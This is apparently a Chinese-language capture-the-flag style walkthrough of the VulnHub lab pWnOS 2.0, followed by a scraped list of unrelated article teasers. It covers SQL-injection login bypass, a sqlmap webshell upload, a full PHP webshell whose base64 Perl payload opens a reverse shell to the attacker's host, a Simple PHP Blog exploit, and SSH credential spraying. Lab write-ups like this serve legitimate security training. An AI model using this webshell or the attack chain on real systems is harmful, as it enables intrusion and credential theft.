[VulnHub靶机渗透] pWnOS 2.0

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

一、前言

二、外围打点——信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

三、信息收集+渗透测试

1、web渗透测试

2、利用sqlmap上传木马,拿www-data权限

3、Simple PHP 框架漏洞利用,拿www-data权限

四、提权

1、常规提权操作+信息收集

3、crackmapexec密码碰撞

4、root权限


一、前言

靶机精讲之pWnOS 2.0,vulnhub靶机,简洁明快的攻击链,php+mysql架构cms渗透的样本。从利用选择、反弹shell获得,到信息搜集和枚举,以及mysql数据库的翻找,都可以算上php+mysql架构cms渗透的标准靶机,很多更复杂的渗透也是在此基础上的展开的,这台靶机是可以深入思考,形成思维框架的靶机。

需要注意的是,这个靶机我们下载下来,默认是个静态的IP:10.10.10.100,所以我们需要把我们的wmvare的虚拟网卡设置为10.10.10.0/24网段的地址。

你需要点击下面的更改设置,把网段设置为10.10.10.0/24网段的,因为我这里是NAT模式,所以该的是NAT模式的网段

改完之后,重启kali,就会发现我们的IP变成了10网段的了:

二、外围打点——信息收集

1、主机探测

通过利用arp进行主机探测,发现靶机的IP地址是10.10.10.100,其实我们开始也讲到了,这个靶机被打包下载的时候。默认IP就是10.10.10.100。

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

2、端口扫描

可以看到这台靶机只开放了22、80端口, 22的话一般靶机后面肯定都是用来利用ssh远程连接的,那么我们就需要信息收集账号密码了,web的80端口毫无疑问是首选的渗透测试方向。

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 10.10.10.100

因为扫描发现的端口有点少,我们这里再利用nmap扫描UDP端口开放的情况

扫描发现,UDP端口没有什么有价值的端口

┌──(root💀kali)-[~/桌面]
└─# nmap -sU --min-rate 10000 10.10.10.100

3、漏洞扫描

通过利用nmap的漏洞扫描库,扫描到这个靶机的登录页面和注册页面存在csrf,以及扫描到了一些目录,我们到时候可以尝试访问下。

┌──(root💀kali)-[~/桌面]
└─# nmap --script=vuln -p22,80 10.10.10.100

三、信息收集+渗透测试

1、web渗透测试

直接访问这个IP的80端口 ,是个静态的html页面,右边有注册和登录的页面,

看到这种登录框,我们首先可以尝试下弱口令登录,然后再尝试下是否存在sql注入,

我这里尝试输入单引号',然后发现页面报错,那么存在sql注入

然后我们再利用sql注入的万能密码尝试登录,发现成功登录进去了,但是里面内容没有任何回显,一直就是显示正在登录中,这个情况也很有可能是后台存在防火墙之类的防护设备,但是没关系,至少我们知道了这里存在sql注入漏洞。

admin'or'1'=1#

2、利用sqlmap上传木马,拿www-data权限

这里给大家提供一个很好用并且很稳定的反弹shell木马文件:

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "10.10.10.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

我们只需要修改下面两个参数就可以了,一个是监听的IP地址,还有一个就是监听的端口。

然后我们这里就可以利用sqlmap上传木马到靶机的指定目录位置,然后kali监听,浏览器访问木马所在的位置,点击木马,就可以拿到shell了。

我们先利用dirsearch扫描目录,看看有哪些目录上传点,比如:(/var/www,/var/www/includes,/var/www/blogs/images)

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://10.10.10.100

我这里选择/includes目录下,木马上传到指定目录/var/www/includes/下了。

┌──(root💀kali)-[~/桌面]
└─# sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --level=5 --risk=3 --file-write='webshell.php' --file-dest='/var/www/includes/webshell.php'

kali先监听,然后浏览器点击上传的木马,就可以看到反弹设立了成功了。

┌──(root💀kali)-[~/桌面]
└─# nc -lvvp 4444

3、Simple PHP 框架漏洞利用,拿www-data权限

我们前面进行的目录扫描以及漏洞扫描,都发现/blog目录,我们访问看下

我们可以看到,这个页面看着很老,就像是以前的老版本的某个CMS框架搭建的,所以我们可以利用whatweb或者其他工具进行查看下它是哪个cms框架搭建的。

我们可以看到存在Simple PHP Blog 0.4.0框架,你要是问我怎么就知道这个漏洞,其实不是说一眼知道的,比如我们在现实中进行渗透测试也是一样,信息收集过程中,碰到不会的信息,我们收集起来问chatgpt,然后上网检索,这里面的很多关键词我都上网查找了,当我检索Simple PHP Blog 0.4.0的时候,发现exp存在这个漏洞。

┌──(root💀kali)-[~/桌面]
└─# whatweb http://10.10.10.100/blog/

我们这里直接利用kali的searchsploit命令检索,然后再看看使用哪个exp进行渗透测试;

我们可以看到有两个,第一个是创建账户密码,第二个是利用这个exp可以执行cmd命令,我这里选择第一个,直接创建账户密码,然后登录后台,再进行下一步的渗透测试工作。

下载这个exp,然后看看这个exp的使用方法,要是看不懂的师傅,可以利用chatgpt或者上网查,都是可以查找到的!!!

┌──(root💀kali)-[~/桌面]
└─# searchsploit -m 1191.pl

这里就是这个exp的使用方式了,我们可以看到-e选择3,是可以创建用户密码的,那么我们就用这个命令执行exp。

插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。

apt install libswitch-perl

可以看到我们这里已经成功创建了用户名和密码了

perl 1191.pl -h http://10.10.10.100/blog -e 3 -U routing -P 1234

我们成功登录进来了,并且我们发现这里有一个文件上传的功能点,我们尝试上传我们开始的webshell.php木马上去。

上传成功了,这个网站确实是老旧啊,一点过滤都没有.php木马直接就上传上去了,

木马上传成功了,那么我们目前就肯定得找到这个木马上传的位置,我们扫描看看这个目录下有哪些子目录之类的,扫描完毕,那就是挨个试目录了,后来发现木马上传到/blog/images/目录下

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://10.10.10.100/blog/ -x 403

可以看到,我们的kali已经接收到了木马的反弹shell了。

python -c 'import pty;pty.spawn ("/bin/bash")'   //交互式shell

四、提权

1、常规提权操作+信息收集

我们一般拿到交互式shell,首先查看下注册表是否有定时任务之类的,然后查看下哪些有SUID提权以及sudo 提权,但是这里都不行,那么我们就需要在文件目录里面进行信息收集,查找下是否有什么有价值的信息,特别是账号密码之类的。

我们在网站根目录找到了数据库的登录账号密码

但是尝试mysql登录,没有登录成功,这里不应该,我猜测应该是作者故意留的假的账号密码,但是这个存在mysql数据库的账号密码文件应该是真实存在的,但是这个应该是障眼法,所以我们直接检索下,这个文件。

发现/var/目录下还确实有mysqli_connect.php文件,我们cat查看下

找到了mysql数据库的账号密码,我们再进行尝试登录,发现登录成功了


www-data@web:/var/www$ find / -name Hmysqli_connect.php 2>/dev/null
find / -name mysqli_connect.php 2>/dev/null
/var/mysqli_connect.php
/var/www/mysqli_connect.php

查找mysql数据库里面的信息,发现账号密码,不过这里密码进行了加密,我们利用kali的hash嗅探工具进行检查下,看看是什么加密。

发现是SHA-1加密的,我们找个在线解密工具

┌──(root💀kali)-[~/桌面]
└─# hash-identifier "c2c4b4e51d9e23c02c15702c136c3e950ba9a4af"

这个在线解密工具师傅们可以收藏下,这个网站有好多类型的解密,而且这个网站的库还很大,一般都可以解密出来。

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free onlineDecrypt and crack your MD5, SHA1, SHA256, MySQL, MD5 Email, SHA256 Email, and NTLM hashes for free online. We also support Bcrypt, SHA512, Wordpress and many more.icon-default.png?t=N7T8https://hashes.com/en/decrypt/hash

利用解密出来的两个账号密码进行ssh远程登录,发现都没有用,那么我们就需要收集更加多的账号密码进行密码碰撞。

3、crackmapexec密码碰撞

直接看下/etc/passwd下有哪几个用户更root用户的权限一样的,直接加入到user爆破字典中。

经过收集,我们的用户和密码的字典如下:

我们可以看到,这个 root:root@ISIntS账号密码不就是我们开始登录MySQL数据库的嘛,这其实也是我们现实中做渗透测试中常见的,就是很多地方,作者自己会把好几个账号密码都设置成一个。

┌──(root💀kali)-[~/桌面]
└─# crackmapexec ssh 10.10.10.100 -u user.txt -p passwd.txt --continue-on-success

4、root权限

恭喜我们成功拿到了root权限,这台靶机也就成功拿下了!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/596099.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

可行驶区域(freespace)如何标注

可行驶区域&#xff08;freespace&#xff09;如何标注 附赠自动驾驶学习资料和量产经验&#xff1a;链接 可行驶区域的检测主要是为自动驾驶提供路径规划辅助&#xff0c;可以实现整个的路面检测&#xff0c;也可以只提取出部分的道路信息&#xff0c;不同的环境&#xff0c…

【机器学习】科学库使用第3篇:机器学习概述,学习目标【附代码文档】

机器学习&#xff08;科学计算库&#xff09;完整教程&#xff08;附代码资料&#xff09;主要内容讲述&#xff1a;机器学习&#xff08;常用科学计算库的使用&#xff09;基础定位、目标&#xff0c;机器学习概述定位,目标,学习目标,学习目标,1 人工智能应用场景,2 人工智能小…

1、认识MySQL存储引擎吗?

目录 1、MySQL存储引擎有哪些&#xff1f; 2、默认的存储引擎是哪个&#xff1f; 3、InnoDB和MyISAM有什么区别吗&#xff1f; 3.1、关于事务 3.2、关于行级锁 3.3、关于外键支持 3.4、关于是否支持MVCC 3.5、关于数据安全恢复 3.6、关于索引 3.7、关于性能 4、如何…

【鲜货】企业数据治理的首要一步:数据溯源

目录 背景 一、数据探索溯源的定义 二、数据探索溯源的重要性 1、提高数据质量 2、增强数据信任度 3、促进数据合规性 三、数据溯源的主要方法 1、标注法 2、反向查询法 3、双向指针追踪法 四、数据探索溯源的主要步骤 1、确定溯源目标 2、收集元数据 3、分析数据…

深入浅出 -- 系统架构之负载均衡Nginx资源压缩

一、Nginx资源压缩 建立在动静分离的基础之上&#xff0c;如果一个静态资源的Size越小&#xff0c;那么自然传输速度会更快&#xff0c;同时也会更节省带宽&#xff0c;因此我们在部署项目时&#xff0c;也可以通过Nginx对于静态资源实现压缩传输&#xff0c;一方面可以节省带宽…

机器学习模型——逻辑回归

https://blog.csdn.net/qq_41682922/article/details/85013008 https://blog.csdn.net/guoziqing506/article/details/81328402 https://www.cnblogs.com/cymx66688/p/11363163.html 参数详解 逻辑回归的引出&#xff1a; 数据线性可分可以使用线性分类器&#xff0c;如果…

“人性化设计”技术概要

本文是由《埃森哲技术愿景 2024&#xff1a;“人性化设计”技术将通过提高生产力和创造力来重塑行业并重新定义领导者》这个文章来翻译解读的。原文地址如下&#xff0c;大家可以自行下载&#xff1a; 下载地址 其实看到这篇文章的时候&#xff0c;联想到这些年机器人的市场发展…

算法设计与分析实验报告c++java实现(ACM面试题、字符串匹配算法、循环赛日程安排问题、分治法求解最大连续子序列和、动态规划法求解最大连续子序列和)

一、 实验目的 1&#xff0e;加深学生对算法设计方法的基本思想、基本步骤、基本方法的理解与掌握&#xff1b; 2&#xff0e;提高学生利用课堂所学知识解决实际问题的能力&#xff1b; 3&#xff0e;提高学生综合应用所学知识解决实际问题的能力。 二、实验任务 1、【ACM、…

GitHub入门与实践

ISBN: 978-7-115-39409-5 作者&#xff1a;【日】大塚弘记 译者&#xff1a;支鹏浩、刘斌 页数&#xff1a;255页 阅读时间&#xff1a;2023-08-05 推荐指数&#xff1a;★★★★★ 好久之前读完的了&#xff0c;一直没有写笔记。 这本入门Git的书籍还是非常推荐的&#xff0c;…

大数据毕业设计Python+Spark知识图谱高考志愿推荐系统 高考数据分析 高考可视化 高考大数据 计算机毕业设计 机器学习 深度学习 人工智能

附件3 文山学院本科生毕业论文&#xff08;设计&#xff09;开题报告 姓名 性别 学号 学院 专业 年级 论文题目 基于协同过滤算法的高考志愿推荐系统的设计与实现 □教师推荐题目 □自拟题目 题目来源 题目类别 指导教师 选题的目的、意义(理论…

二叉树进阶——手撕二叉搜索树

troop主页&#xff1a;troop 手撕二叉搜索树 1.二叉搜索树的定义2.实现&#xff08;非递归&#xff09;补充结构2.1查找2.2插入2.3删除&#xff08;重要&#xff09;情况1(无孩子&&一个孩子&#xff09; 3.二叉搜索树的应用3.1K模型3.2KV模型3.2.1KV模型的实现 总结二叉…

【芯片设计- RTL 数字逻辑设计入门 1.2 -- Verdi 原理图查看】

请阅读【芯片设计 RTL 数字逻辑设计扫盲 】 文章目录 Verdi 原理图查看显示原理图各信号名信号查找信号追踪 Verdi 原理图查看 这里以D触发器的RTL 实现为例来简单介绍如何在Verdi 中查看原理图&#xff0c;具体RTL code 如下&#xff1a; 可以按照下面步骤来查看原理图&…